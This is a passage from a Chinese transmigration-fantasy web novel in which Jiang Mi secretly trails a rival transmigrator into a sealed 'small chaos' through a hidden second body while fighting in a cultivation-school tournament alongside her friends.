对方还是一脸“你在说什么”茫然,她只得说:“崔大帮了你,你还一次都没去看他。” 齐乐暴跳:“谁说小爷不去的?小爷是想等比赛结束再去!” 成功将齐乐忽悠走,江弥一低头,对上疼得龇牙的周三,他狞着张脸笑问:“江小米你刚才喊我什么?” 崔大三人的名字是在他们某次争吵后知道的。 那时他们三人经常黏在一起,虽然看上去吊儿郎当总打闹,但在外人看来却是各有性格。 崔大爽朗豪放,李二清秀率直,周三俊逸机敏,惹得不少女孩注意,孙柏柔就时常被女孩们拉住暗中打探。 三人因一封未署名的情书发生争执。 青春期的男孩自尊心比天大,好胜心也极强,都认为这是送给自己的,于是越吵越凶,吃饭也不忘语言攻击。 以为本名就是崔大李二周三的孙柏柔和江弥,就是在三人相互嘲讽时才知道几人名字。 后来三人只要闹掰就用嘲讽冷笑的语气直呼其名。 被叫名字的周三说:“喊声三哥就原谅你。” 江弥拨弄粘在脸颊的卷毛,装没听见。 孙柏柔手下用力,周三疼得直抽气:“孙小柔!” 孙柏柔将手中沾血的纱布扔他怀里,也气道:“要不是江弥喊住你,你要怎么做?和比试台同归于尽吗?你有几条命够用?” 周三顿时气弱:“孙小柔你好凶啊。” 孙柏柔却是不说话了,低头从随身布包取出药瓶和新纱布,帮他敷药包扎伤口。 周三被她忽然的沉默弄得不知所措,就听孙柏柔语气低迷:“凶也比你找死好。” “喂喂,孙小柔这不像你啊。”没有跳起来说不要叫她孙小柔,也没抬脚踢他,周三有点心慌,立马找江弥求救,谁知江弥直接背过身,一副“自己惹的事自己想办法”姿态,将他气得不行。 孙柏柔忽然低声说:“我们好不容易才活下来,大家都不要轻易死去。” 她就是因为这个才努力兼修医术的。 周围学员来来往往,不远处比试台传来精彩叫喝。 周三默了默,好半晌才别扭回应:“知道了。” “这话只对我说?”孙柏柔处理好伤口后,周三拢着上衣低头系衣带,活动了下胳膊说:“你不觉得某个人比我更需要?” 察觉两道目光扫射来的江弥:“……” 孙柏柔收拾好东西走到江弥面前,满脸认真盯她,一副得不到承诺就伤心欲绝的模样。 江弥只得点头:“嗯。” 下秒周三一个箭步冲来,直接将她扛起就往外冲,半点不管四周投来的异样目光和低语。 “别以为喊名字的事就作罢,江小米,今天你不喊三哥休想下来!” 周三威胁的声音混杂在呼啸的风中。 身后的孙柏柔气得不行,一边追一边喊:“伤口出血了!三儿我刚包好!给我老实点别乱动啊!” 倒退的视野里,江弥看到滕宝离去的背影,以及系统面板逐渐消失的字迹—— “可攻略人物【廖伯柔】好感度+10,处于尚且有点印象状态。为抱美人归,少年,还需多加努力哦!” “触发支线任务:成功男人身边追随者必不可少,他们或被你的人格魅力所折服,或被你从深渊拯救以命相托,他们忠心耿耿,愿为你赴汤蹈火。少年,三天内收服第一位追随者,就能达成【忠实粉丝】成就哦!” · 崔大房间正处于极度安静中。 孙柏柔暴力剥开周三衣服,毫不怜惜地撕开染血的纱布,冷着脸给他重新上药。 周三痛也不敢哼一声,将目光转向床上的崔大。 崔大刚准备说两话,孙柏柔头也不回道:“病人就该老实待着好好养伤,崔栉你说呢?” 跳下床跟齐乐打架还被逮个正着的崔大悻悻闭上嘴,重新躺回去,朝坐在椅子上的江弥无声开口:“你劝劝她。” 江弥将散开的头发重新编好,无视他的求助:“孙柏柔说得对。” 孙柏柔仍旧冷着脸处理周三 33. 033 《他们要我成为异世大佬》全本免费阅读 “就是他?”崔大盯着比试台上出手快准狠的少年,不过片刻化劣势为优势,他扭头去看周三,“被他打败,输得不冤。” 周三莫名不爽:“我说孙柏柔,就算他打败我了也不用对他另眼相看吧?” “你们不懂。”孙柏柔认真观看战斗中的少年。 昨天和江弥分开后她又思考许久,觉得不能让江弥耽溺于品性不明的男生。 相较来路性格未知的少年,她更偏向知根知底的崔大李二周三。 能吸引江弥,这人必定有哪方面十分优异,只要他们三中的一人也拥有,不是滕宝也可以。 这样一来她放心,江弥也喜欢,岂不是皆大欢喜。 孙柏柔催促:“快帮我分析他都有什么优点。” 崔大观察片刻道:“剑势凌厉果断,性格应该也是冷厉有魄力型的。” “这个年纪实力能匹配二阶,资质悟性都不会差。”周三勉强说完问:“孙柏柔你在搞什么鬼?” 就在这时比赛结束,裁判宣告滕宝胜。 滕宝朝台下的孙柏柔点了下头。 看到这幕的崔大周三大惊,忙不迭问:“你们什么时候这么熟悉了?” 孙柏柔神秘道:“也许是某种特殊引力。” 毕竟江弥那么可爱,谁会不喜欢? 两人:“?” 一刻钟后,崔大看到刚才的观察对象站在他对面,朝比试台下的孙柏柔竖了个大拇指,无声道:“厉害。” 同样站在台下的周三若有所思:“原来是这种引力,你的占术已经到了凭直觉预测发展吗?孙柏柔你是不是快二阶了?” 孙柏柔:“……”并没有。 两人几句话功夫台上胜负已分。 崔大本就因伤势无法施展出全力,对手还是打败周三的人,即便被挑了兵器空拳而出,也还是被打落下台。 对方留了几分力让周三将人接下来。 滕宝下来时朝孙柏柔点头的场景再次刺痛两人,崔大压在喉间的血喷出,他无力道:“孙小柔,我死不瞑目。” 周三本想配合他作悲伤状,但面对表情夸张的崔大,他一个没忍住将人推下去,拍拍衣襟:“死不瞑目夸大了点。” 滚落在地的崔大再次喷出口血。 孙柏柔上前平复崔大翻腾的气血:“只是输了比赛,还有明年后年,至于吗?” “我们气得是这个?”周三无语:“孙小柔你看人的眼光什么时候那么差了,那滕宝看着就是个容易惹祸生事的,你要凑上去还不得惹一身麻烦?” 周三以为孙柏柔会反驳,谁知她认同地点头:“我也觉得,你们三哪个都比他好,而且你们更让人放心。” 周三作惊吓状,捂着胸口往后退:“孙小柔你要对我们做什么?” 孙柏柔要调气给崔大治疗,被崔大按住,他擦着流到下巴脖颈的血渍,没什么力气说:“在我死前老实交代啊。” 孙柏柔想了想:“我说了你们别和江弥说啊。” 周三:“还和江弥有关?” 崔大:“快说,再不说我要晕了。” “我觉得江弥可能——”不远处裁判忽然喊了孙柏柔的号码,她起身应了声,然后朝两人道:“后续观察工作靠你们了,这很重要,关系到江弥的未来。” 孙柏柔匆忙交代完赶去比试台,徒留两人茫然对视。 崔大勉强自己站起来,拍了拍周三肩膀:“江弥的未来靠你了。” 说完一瘸一拐地朝一院休息棚的姜教习走去。 背负江弥未来的周三满脑子茫然地去找滕宝。 比完三场进入决赛的滕宝正往外走,周三赶去时来往人群里已经没影了。 思来想去,周三只搞清楚了一点。 滕宝和江弥有关。 周三来到一片区时她正在比试台下看比赛,周围没有滕宝的身影,他问:“滕宝没来?” 江弥本没在意周三的到来,但这问题将她从打斗激烈的比试台抽出,注意力放在他身上:“为什么这样问?” “你不知道?孙柏柔一早就拉着我和崔大观察他,说他……”猛然记起孙柏柔还瞒着江弥,周三打着哈哈道,“嗯……说很重要来着。” 江弥皱眉,不过才一夜孙柏柔就改变注意了? 还是滕宝对孙柏柔做了什么? 她问:“那你怎么来这里?” 周三抬手按在她脑袋上,在毛乎乎的脑袋上揉啊揉的:“就不能是来看你比赛?离开前李二不知道叮嘱多少次,让我别顾着自己比赛,要来给你加油。” 江弥没什么表情地戳破他转移话题的企图:“你没看到滕宝,所以来我这里找他。他没来这里。” 看她猜得差不多,周三也没没隐瞒,耸肩说:“啊,大概是这么回事吧。” 江弥又问:“崔大比赛怎样?” 周三揉她的脑袋:“不走运。” 江弥眨眼问:“怎么个不走运法?” 周三扭头去看台上比试:“第一场遇到滕宝。” 江弥顿时心生怜悯,两人被同一个人淘汰,确实不走运,她安慰道:“我努努力,争取替你们进入决赛。” 周三:“我还是更希望我自己来。” 江弥:“那明年继续。” 周三的手搭在江弥脑袋上就这么有一搭没一搭地聊,时而点评台上打斗情况,时而提起还在一院的李二。 而在几分钟前,得知藤宝不见后,第二体避开巡逻从舍院后门离开。 不管是滕宝可能对孙柏柔做了什么,还是滕宝系统收服追随者的支线任务,江弥都得有必要弄清楚。 异世者为什么会拥有系统?系统的目的是什么?为什么她是异世者中的例外? 只有弄清楚一切,她才知道自己为何会出现在这里。 她不知道滕宝会如何行动,只能将自己放在对方立场思考。 收服追随者任务看似简单,但对腹背皆敌的异世者来说,短时间内让其与自己同一阵线,只可能是同样身份的异世者。 怎样才能在极短时间内收服拥有系统的异世者,并获得对方的信任和忠诚? 她想到最开始来到这里的自己。 茫然,无助,绝望。 刚穿越到混沌的异世者是最佳人选。 而能帮忙进入混沌又很快得到响应的,只有守望军。 第二体来到上次滕宝和黑影女人碰面的附近,防止再次被发现,她提前画出“消融”,第二体被无形的水汽笼罩,隐藏在必定前往的道路上。 滕宝未必会和她猜想那样和守望军碰面。 即便碰面,也可能不会经过这里。 江弥在赌一个可能,赌赢她能得到更多信息,赌输也不过是第二体耗尽时间,总归没什么坏处。 江弥在比赛现场和周三闲聊,看了一场又一场比赛,几乎就要让第二体回归时,熟悉的身影出现了。 化作水汽 34. 034 《他们要我成为异世大佬》全本免费阅读 两人赶路速度很快,很快来到一处人烟罕至的荒野。 双方初次合作,滕宝没有放下警惕,和项昭昭拉开了两步远的距离。 项昭昭像是没发现他的动作,从怀中取出一枚玉牌激活,玉牌上淡紫色光芒收敛成束,指向某处。 她往那处走去,同滕宝道:“这是传送阵,发生小混沌的地方离这里可不近,乘风术都得几天几夜,只能损耗两座传送阵了。” 走到紫光指向的地点后,项昭昭将手中玉牌捏碎,碎玉化作无数紫蓝色流光,覆盖了平平无奇的碎石子路。 下秒,沉闷的咔咔声响起,相互嵌合的紫色阵纹于半空中浮现,同石子路上的紫色流光勾连,形成一座阵法。 滕宝见项昭昭走进去才抬脚跟上,他仰头观察繁复转动的阵法:“真有传送阵啊。” “咱们同乡创建的,”项昭昭有意让他对守望军产生归属感,多说几句:“本来想取个好听的名字,物换星移时空挪移什么的,结果到最后还是传送阵叫着最上口。” 传送阵正在闪烁倒计时,滕宝略有些惊讶:“只有守望军会传送阵?” 项昭昭问:“是不是忽然觉得加入守望军还不亏?” 激活的阵法中空间扭曲,将她的话拉长变形,滕宝没听清话里内容。 光怪陆离的星光消失后,两人从荒野传送到密林,脚下隐藏在草地的阵纹碎裂崩溃。 项昭昭是个合格的引路人,考虑到两边有信息差,她边带路边介绍:“启蒙院关于混沌之说并不多,真要说的话,混沌乃源于传说中的神,祂们于混沌中存在,众神之战后混沌发生变化,一分为二,气之轻者为清,气之重者为浊,借此衍生出大小混沌。” “充斥浊气的场便是大混沌,浊气会将人异化成魊,只有体内真气充足者才能抵御这种异变,你经历过大混沌,应该有所了解。” 启蒙院并不会讲解这部分知识,加之环境闭塞,混沌相关的信息更是稀少。 滕宝问:“小混沌呢?” 项昭昭道:“若说大混沌是降下的惩罚,充盈清气的小混沌就是一种奖励,清气有助于修士巩固修为,是修真世家和大小术院争相往前之地。” 滕宝沉吟道:“这么说来大混沌小混沌和神有关?” 项昭昭意味不明道:“拥有系统的我们,又怎么不算神呢?” 滕宝语气冷静:“没有人比我更清楚我是谁。” “你能这样想就再好不过了,”项昭昭停在一处杂草丛生地,“到了。” 滕宝环视四周之时,项昭昭捡起一块石头朝草丛扔去,就见荒草遍野之景泛起涟漪。 涟漪之后传来男子警惕地低声问询:“谁?” “我,项昭昭。”项昭昭身上的黑影犹如融化的污泥褪去,显出一副姣好样貌。 下秒,以假乱真的草丛幻象后探出一颗脑袋,见到项昭昭后解除幻术,荒草消失,露出其后的七人。 说话那人瞥了眼滕宝,过去和项昭昭交涉。 滕宝目光在他身上停留几秒后,观察其他几名修士。 这五人气息高于五阶,虽然站姿散漫,却都对最后方的青年呈现保护姿态。 那青年坐在泛着金色流光的结界前,正有条不紊地在结界上刻画出阵纹,阵纹与阵纹产生的微妙变化让结界在小范围内震荡不已。 滕宝意识到对方正在破译囚天笼,不由多看了几眼。 旁人眼中的青年,沉浸在自己世界专注破译阵法,沉稳而值得人信任。 江弥看到的青年,一边对着系统暴躁怒骂,一边苦哈哈地做数学题,周身被各种字幕和数字符号笼罩—— “靠!老子真的不擅长数学啊!” “我不明白,我真的不明白,为什么破解阵法还要搞矩阵?” “妈的,这里怎么解来着?五三,快快,拆解这个结构的原理,题海战术里肯定出现过这个。” “一百零八!这些王八蛋竟然加了一百零八种变化,啊啊啊,我要疯了!” 在青年崩溃发疯的同时,项昭昭已经同负责这次行动的男子交涉完。 她来到滕宝面前道:“我不清楚你进混沌要做什么,也不会过问。但作为同伴,我不得不提醒两句,大混沌里你面对的只有魊,但在小混沌,你还会碰上各种势力。不要招惹他们,至少现在的你不行。” 滕宝拧了下眉:“我知道该怎么做。” 那说话的男子还没走远,听到他的话嗤笑了声:“不知天高地厚。” 滕宝面色一沉,扫过去的目光冷厉。 项昭昭不想刚搭好的关系被破坏,又道:“进去后我们各自行动,两日后同样的时间,这里会再次打开。” 囚天笼一步步被破解时,江弥的情况有些糟糕。 第二体离体时间太久了。 期间不是没有想过寻找机会脱离滕宝,但项昭昭太过敏锐,两人距离无法让她在解除“消融”后成功逃离。 偏偏在这时,一号比试台抽中她的号码。 周三察觉她的异样问:“你脸色很难看,不舒服?” “可能没睡好。”江弥捏着鼻梁往比试台走去。 听到江弥即将上台的朱铭忽然跑来,指了指外围的方教习:“教习让你认真打,打不进决赛就别回一院。” 江弥侧目,方教习正在休息棚安置受伤学员。 朱铭又道:“小心点,针对一院的人不少,钱川刚差点被打废。” 江弥点头,声音有些哑说:“恭喜你进入决赛。” 比试台上站立的紫衣少女半眯着眼,目视江弥走来。 裁判正要宣布比赛开始,紫衣少女抬手止住裁判,目光轻点江弥:“我知道你。你在一院很有名,擅长水术和木术,两天前你施术救你伙伴时我也在场。” 江弥蹙了下眉,没说话。 台下的朱铭摇头:“江弥又不耐烦了。” 两步外的周三斜斜睨了他眼。 这视线太过鲜明,朱铭正要看是谁,见是江弥的伙伴立即三两步越过几人凑来,热情道:“你好我叫朱铭,和江弥关系不错,我经常见你们和江弥一起。” 周三问他:“特训中她经常这样?” “那倒没有,”朱铭说,“江弥平时不太搭理人,但脾气挺好,只是她一暴躁,她的对手就会倒霉。” 周三看向抬手拨头发的江弥,细看确实能察觉她平静下隐藏的不耐,这让他有些新奇。 他们的印象里,江弥一直都很平静,甚至淡定得有些过分,也只会在他们闹她时才露出无奈或无语的表情。 比赛前的紧张? 此时紫衣女孩傲然道:“我唐蜜向来公平,不屑占人便宜,我知道你情况,自然也得让你知道我情况。我修巫,善避占。” 这是对自己实力的极度自信。 不到一阶的巫修能站在这,她确实有这个资本。 友谊赛中,一阶以下大都未择道,实力比拼多是比较对五行术的掌握能力,由此看出对气的运用和控制。 也有像唐蜜孙柏柔这种,修炼之初便有明确方向的。 江弥选的课什么都涉及点,加之身边还有个修巫的孙柏柔,对巫修有些了解。 避占,通过占术避灾躲难。 但怎么占,如何躲,她并不清楚。 唐蜜说完望向裁判,裁判觉得这小姑娘有点意思,倒也配合宣布:“比赛开始。” 话落唐蜜率先动了。 五行术讲究五行相生相克,实胜虚,故土胜水,刚胜柔,故金胜木。 唐蜜用金术克制江弥的木术,数根金箭齐发。 江弥却并未催发木术,半年不知疼痛的特训让她的肢体能跟上眼睛,在金箭到来前先一步偏头躲开,但金箭擦过时,携带的凌厉风刃在她脸颊划开一道血痕。 乱飞的头发拍打在伤口上,带着细微的痛。 第二拨第三拨箭矢紧随其后,江弥凭借远超常人的速度应对,只避不攻也未见势落,可几息后,身上又浮现几道血口。 “别光躲啊,”金术只是唐蜜交手前的试探,她朝江弥速影而来,眉眼荡着明媚的笑,“这样看来你的传闻未免言过其实了。” 整个比试台忽然弥漫着干燥的土腥气。 土术以虚拟之态呈现,随着唐蜜的动作逐渐成型,逼近江弥的瞬间,身后土势凝聚,重力从四面挤压而来。 江弥感觉鼻尖盈满土的气息,似被埋入土中,身体四肢犹如千斤重,举手抬足艰难万分,连呼吸也因胸口无形之力的挤压变得困难。 比赛不过片刻,台上呈现一边倒的局势。 台下观众低声议论。 “她不是巫修?这还没动真格吧。” “这个一院的怎么回事,她那招水浪我也看过,不该是这个实力啊。” “怕被土术克制不敢使吧?” “这个五院的唐蜜,我看了她两场,超强的,她要是进不了决赛,我当众吃屎。” 夹杂在其中的朱铭困惑看向周三:“她怎么回事?” 江弥的暴躁几乎不在平时发作,只会自己克制内化,但比试时则截然相反,她会直接爆发,这时谁当她对手谁倒霉,哪会像现在这样只防不守,这很不江弥啊。 周三望向江弥泛白的嘴唇:“应该是状态不好。” “她还有过好状态?”朱铭疑惑道:“她昨天的比赛结束得又快又狠,不应该对今天有影响啊。” 台下议论纷纷,台上被土势之力困住的江弥只能听见零碎的只言片语。 她快要到极限了。 第二体离她太远,离体的时间远超以往。 长时间的神经紧绷让她大脑剧烈抽痛,耳边嗡鸣不断,她感觉自己的灵魂仿佛被拧成一根细丝,另一端岌岌可危地悬在第二体上。 这根细丝正在一点点断裂。 她对第二体的控制力正在变弱,只要一点刺激,她和第二体的连接就会发生无法预料的变化。 此时的江弥极度疲倦,灵魂的虚弱让她几乎昏过去。 昏在比试台上,等于暴露第二体。 江弥用力抵抗压制在身上的重力,身上各处伤口涌来更剧烈的痛楚,勉强让她打起精神。 第二体勉力维持“消融”隐藏存在的情况下,她无法频繁调气。 一击。 她只有一击。 唐蜜能走 35. 035 《他们要我成为异世大佬》全本免费阅读 囚天笼终于破开可供一人通行的小口。 颜西两眼昏花地按着太阳穴,起身走到行动负责人面前道:“只能维持十息,动作要快。” 这次守望军的行动负责人名曾蒙,有过数次进出混沌的经验,心中早有决策,颜西话落便开始进行分配:“你们二人跟我,你留在外面守护颜西,剩下的项昭昭负责,至于你——” 曾蒙望向滕宝,滕宝主动道:“不劳费心。” 时间紧迫,曾蒙吩咐完项昭昭三人便排队先行,曾蒙队伍紧随而上,滕宝落在队伍最后。 绝佳机会! 第二体隐藏在滕宝衣摆上,“消融”已经岌岌可危。 十息很短暂,却感觉异常漫长。 此时比试台上的江弥被大火围绕,竭力维持本体与第二体的关联,她在等待,等待滕宝进入小混沌的那瞬。 密密麻麻的阵纹在囚天笼的结界上拉扯出一道后门,项昭昭三人消失在后门,接着第四人,第五人,然而在曾蒙进入时陡生意外。 “队长!” 刚准备踏入的曾蒙反应极快,猛地后退,却还是被门边泄露的阵法之气所伤,肩部衣料瞬间被染红。 曾蒙朝颜西严厉问:“怎么回事?” 颜西快步走来,见后门边缘的阵纹正在崩坏,稳定的后门开始扭曲。 囚天笼是一座庞大的封禁阵法,每时每刻运转吸收的气无比巨大,仅是泄露的一点就足以碾碎人体。 曾蒙是运气好,只是伤到肩膀。 “还有机会,给我点时间。”颜西不等曾蒙说话,自顾坐在那道门前,重新凝聚阵纹。 后门是在完备的结界上凿出一道缺口,用阵纹的相互作用形成吸收、抵消和隔离的循环,就能稳住这道口供人进出。 但囚天笼变化万千,守望军的一次次破解,迫使维护囚天笼的阵修不停修补完善,囚天笼也变得越发复杂。 颜西又开始对着系统疯狂吐槽。 曾蒙按住伤口,让门另一边的项昭昭先行动。 滕宝抱臂站在一旁,冷眼旁观这变故:“你们该不会为了不让我进去做得这出吧?” 曾蒙本被就因意外心情格外烦躁,闻言讽刺道:“一个不自量力毛头小子也配?” “一个需要毛头小子帮忙、还不靠谱的组织,”滕宝目光往结界瞥了眼,冷笑了声,“我看也没什么能力,不过几人搭建的草台班子。” 滕宝本就对守望军持怀疑态度,他是项昭昭拉来的,现在项昭昭进入小混沌,他进去前却发生意外,很难让他不多想。 曾蒙也一直对滕宝不满。 不提天诛院对小混沌准入名额的限制有多严,就算在守望军内部,进小混沌都要经过多番竞争斟酌。 这小子要进小混沌就能进,叫人如何能服。 没了项昭昭在中间调停,两人都不是什么好脾气,又相互看不顺眼,再多说几句两人就要干架。 颜西正在兢兢业业修补后门,守在颜西身边的修士觉得多一事不如少一事,没上前劝架。 但曾蒙好歹是几人的小队,压着脾气没发作。 然而就在这时,滕宝身上忽然传来气息波动,本想按捺不发的曾蒙瞬间就爆了,五指紧握成拳,朝着滕宝就是一砸。 “小子,老子先教你怎么做人!” 滕宝没想到对方突然爆发,他虽能打遍同阶修士,但终究只是一阶。 六阶修士的一拳力量之强非他能硬抗,滕宝毫不犹豫调用系统力量,拔剑挡住这击,剑上金光同迎面而来的拳风相撞,火星四溅。 饶是如此,滕宝还是被烈风后退数步。 “快!只能维持两息!” 重新稳定门的颜西一回头,两人已经打起来了。 两人都听到颜西的话,曾蒙不再管滕宝,运转乘风术来到门前,来不及踏入就感到身后压迫感降临。 他瞬影往一旁闪躲,剑风贴着他脑门过去,余光后瞥时滕宝已经近到跟前,一个闪身进了门,同时还不忘挥出一剑阻拦再次冲来的曾蒙。 曾蒙躲开剑风再回头,阵纹已经全部崩溃。 门消失了。 曾蒙目光冷冷地盯着门消失的地方,问颜西:“还有办法吗?” 没料到事情走向的颜西停顿两秒,摇头:“下一次囚天笼力量削弱在两天后。” 某一瞬间,颜西甚至以为曾蒙会暴跳,然而对方只是站在原地深呼吸几次,咬牙道:“我要让他死!” 颜西等他平缓下来才问:“你们怎么会打起来?” 曾蒙额角抽搐:“那小子搞偷袭被我抓到。” 进入小混沌的藤宝在面对曾蒙两名队友质问时也是这么回答的。 “你说我们队长偷袭你?”一名队员说:“不可能!先不说队长弄你完全不需要偷袭这种下作手段,队长既然说了让你进来,就不会出尔反尔。” 藤宝冷着脸说:“我管你们信不信,有疑问出去问你们队长去。” 两方都说是对方先动手偷袭,自己是被动防御。 而唯一知道真相并造成这结果的江弥:“……” “枯荣”爆发时她失去第二体的掌控,第二体的术的气息暴露,而两人正处于剑拔弩张,察觉气息变化的曾蒙第一反应就是滕宝要动手,自然选择还手。 两人就这样打起来。 此时的江弥正是一招定乾坤时,等比赛完回过神,第二体已随滕宝进了小混沌。 江弥从未料到事情会发展到这个地步。 离开识界的第二体有时间和空间限制,江弥也一直在探索自己的极限。 可这种意外让她有种在深渊上空走钢丝的惊恐,好像下秒就要坠落。 江弥对痛的忍耐很强,加上左眼的不定时发病折磨,常人觉得难以忍受的痛苦对她来说却是平常。 可第二体进入小混沌时爆发的剧痛让她感觉自己的灵魂要被切割成两半。 占据所有感官的尖锐痛楚几乎要让她失控。 周三察觉江弥在细微颤抖,立即背着她往休息棚的方向去。 难以接受自己输了的唐蜜见江弥离开,快步跑来拦在周三面前:“刚才那场不算,我……还在比试台的范围,我没有输,江弥我们再比一场!” “裁判已经宣布比赛结果,有问题找裁判去。”周三不欲多纠缠,绕过唐蜜准备走,又被她拦住:“我和江弥说话,你谁?江弥,我们再比一场。” 朱铭过来时正巧听到这番言论,周三朝他看了眼,朱铭会意,两步轻巧插入两人中间,身后的手摆着让周三赶紧走。 唐蜜还要追,朱铭笑哈哈拦在她面前道:“哎哎别走啊,你刚才那招挺厉害,你是几院的,之前没见过啊?” 将唐蜜甩在身后,周三进到休息棚,放下江弥就要去找一院的医修教习,被江弥伸手拉住:“我就是……消耗太大了,又不能像平常晕掉,所以有点难受。” 周三说:“我去叫孙柏柔来?这时差不多比完了。” 江弥拉着不让他去叫人:“我休息下,就好。” 周三低眉盯她片刻,最终坐下来,将她脑袋往自己这边拨弄:“睡吧,有你的比赛我叫你。” 江弥撑着跟他说话已是极限,闻言放松身体闭目。 她将主要意识集中在第二体上。 滕宝同曾蒙的队员一番纠缠后离开,第二体借机从滕宝衣摆落到丛林间,滕宝身形消失时,“消融”再也维持不住,第二体出现。 第二体与江弥同感,痛得抱着脑袋蜷缩在草地上。 不知过了多久,痛楚变得平缓,第二体从地上爬起,观察周围环境。 大混沌是晦暗的,灰蒙蒙的,万物仿佛笼罩了一层灰雾,让人心情压抑沉闷。 小混沌却是清晰分明的。 她正处于树林的外围地带,这里是小混沌边缘,鲜少有人踏足,粗壮的大树随处可见,翠绿的枝叶和低矮的草丛偶尔发出细碎声响,那是风或动物在路过。 光芒从树林间隙投下,叶片被照得发亮。 江弥看到光束中有细小粒子在游动,它们跃出光照范围,飘在空气中,落到树干上,犹如森林中的精灵。 她伸手去触碰,粒子接触皮肤的刹那忽然消失不见。 嗯? 她盯着自己的手指,没发现异常,又伸手去触碰其他粒子,粒子再次消失。 空气中的粒子很多,不随风动,只是站在原地也有许多往她身上撞。 项昭昭说过,浊气将人异化成魊,清气能巩固修为。 联想到她识界里的气。 这是清气? 为了证实这种猜想,她往森林外探路时尽可能接 36. 036 《他们要我成为异世大佬》全本免费阅读 “千米跑考核及格,获得奖励:新手生存指引。” “指引一:不要向任何人透露你来自何方。” “指引二:知识就是力量。” “还以为死定了。”看到系统显示考核及格那刻,蒋敏直接腿软坐到地上,揉着腿问不远处静立的女孩:“我叫蒋敏,你叫什么?” 然而对方什么都没说,只目光清冽看自己。 蒋敏讪讪道:“你不想说啊。但是刚才多亏有你,不然我就死了。刚才那是什么东西,怎么就将这些草弄成这样?这里是哪里?” 她扶着脑袋装不适:“我被吓得有点记忆混乱了。” 江弥看着她拙劣的演技没戳穿,用木棍比划着选择性回答:“这里被小混沌笼罩,刚才是魊,被大妖魔异化后的生物。” 是个哑巴? 小混沌是个什么鬼? 妖魔又是什么?这个地方为什么还有魔? 那个复杂得压根不记得笔画的字为什么我认得? 蒋敏脑海被各种问题占据,但新手生存指引第一条是不能透露穿越的事,她憋住了继续询问的欲望,故作恍然道:“这样啊。” 江弥顿了顿,又写道:“阿玲。” “你叫阿玲啊,叫我敏敏吧,我家人都这么叫。”蒋敏刚穿来就遇到一系列事情,又经历长跑,她捂着肚子不好意思道:“阿玲,你有没有吃的,我……好饿啊。” 一个时辰后。 蒋敏坐在火堆旁吃完最后一块食物,觉得自己重新活过来了,她拨弄火星好奇问:“这是什么?” 刚才阿玲在草丛里翻翻找找,然后挖出这么跟番薯有点像吃起来又截然不同的东西。 阿玲写:“民间称为土瘤,性温,医术中常作为制丹的辅料,可果腹,但不能多食。” 蒋敏默默记起来,又问了些其他能吃的植物。 这里的动物动不动就异化成怪物,短时间内她是不敢吃肉了。 阿玲看着清冷,但意外的耐心。 蒋敏从她嘴里拼拼凑凑自己所处的情况,猜到自己可能回不去了,失落了好半晌,然后拍拍裙子去找能饱腹的植物。 不知道什么时候才能离开小混沌,总得吃东西啊。 江弥灭火后撑着下巴观察蒋敏。 毫无疑问这是个惊喜。 滕宝来到小混沌的目的是寻找降临的异世者,却被她碰到了。 但蒋敏必须靠自己躲过审查才算合格。 江弥闭目进入识界。 她的识界发生了变化。 世界右边光粒子虚拢成一阶仙梯,看上去虚幻朦胧,散发着温润光芒。 散乱的光粒子里,三枚泛着莹光的古字浮在半空。 识界左边,第二体不在,唯一的星星黯淡无光,本该处于黑暗的地方不知何时游离着淡金色粒子。 很少,但确实存在。 和最开始修炼五行术的场景一模一样。 第二体只能在小混沌修炼? 忽然间,她感觉哪里不对,来源不是左边突然出现的金色粒子。 她观察片刻后疑惑,两边识界是不是距离变大了? 左边没有参考物,但右边的仙梯看上去更远了。 不,不是距离变远。 江弥低头看脚下的河水,它是识界的分界线,是河水变宽了。 平静的河面下波流涌动,埋在河下的古字被激流冲得原地直打转。 发生什么了? 就在这时,蒋敏抱着裙子跑回来,各种食物哗啦啦落了一地,她高兴地分出大半推到江弥面前:“我找到很多,这些给你,我看到附近还有很多,我再去摘些。” 说完又跑开了。 再次回来时她还抱了捆草,蹲在地上将草编成长绳,用草绳将各种草茎根茎果实串起来,有些气恼道:“不知道哪户农家乱扔镰刀,害我差点踩到。这镰刀长得奇怪了点,但还挺锋利,正好拿来防身。” 江弥看她从身后拿出把镰刀。 镰刀只有手臂长短,通体黑色,描绘着红色花纹。 这花纹…… 江弥几乎立马就捡起木棍要将其打落,镰刀却忽然暴起,飞出蒋敏手心迅速变大,红色纹络从镰刀上探出,如红色藤蔓般缠住两人后猛地飞了出去。 变故发生太快。 蒋敏在空中飞了半晌才惶恐大喊:“这又是什么东西啊!阿玲,阿玲你在吗?” 扭头看到江弥,莫名心安下来:“你在就好。” 江弥:“……” 江弥的淡定神色让蒋敏认为发生不了大事,于是也慢慢镇定下来。 两边山河飞速倒退,镰刀速度很快,但它不是人,就没法指望它能怜香惜玉,被红线吊在下方的蒋敏和江弥被锐利的风吹得皮肤生疼。 没多久镰刀在一处山谷上空停下。 蒋敏看着山谷下方黑黝黝的大口,声音有些颤:“不是吧,会死人的!真的会死啊啊啊——咕噜咕噜!” 红线缩回,两人从半空中直直下落。 好在下方不是山石,两人没有粉身碎骨,而是落到一汪湖水中。 蒋敏掉入水中连喝了几口水,耳边全是泡泡碎裂声和水声混响,她从水底游上来大口喘气时差点干呕,浓郁的血气几乎将她淹没,嘴里还有股腥气,借着微弱光芒看清自己环境时她差点晕过去。 湖面飘着几具尸体,岸旁更是尸横遍野,鲜红的血汇成小溪流入湖中,碧蓝的湖水被染成猩红。 蒋敏慌张环视四周,见江弥往岸旁走,憋气划过去。 江弥下坠时闻到血腥气提前闭气,倒是没呛水,她拧着衣袖的水环视周围环境。 湖水之上环绕着山壁,像个天然的瓮。 瓮底无一人存活,肢体散乱得到处都是,流出的血早已冷却,尸体却还没腐化。 这场惨战就发生在这两天。 踩到尸体时蒋敏胳膊瞬间起了层鸡皮疙瘩,她赶紧跟在江弥身后:“这是哪里啊?怎么这么多死人?” 说话间声音回荡,加上潮气阴冷,血红湖水,还有无数尸体,整个氛围恐怖到极致。 忽然“咔哒”一声。 蒋敏紧绷的神经几乎要扯断,下意识尖叫,江弥先一步捂住她的嘴,在她惊恐的目光里摇头。 蒋敏抓着她的袖子快要吓哭了,还是忍着眼泪点头,表示自己不会叫。 发出声响的是黑骨镰刀。 它又缩回小臂长短,黑骨上的红色纹络却忽明忽暗,仿佛电量不足的灯泡。 江弥朝黑骨镰刀走去,蒋敏一把拉住她小声问:“它要做什么?” 为了不让她一惊一乍,江弥在她手上写道:“它要杀我们不用这么麻烦,跟去看看。” 蒋敏去看那把镰刀,这东西这么厉害? 她不想去,可留在这里跟尸体做伴更恐怖,只能贴在江弥身旁拉着她衣袖不敢松手。 江弥心中有其他猜想。 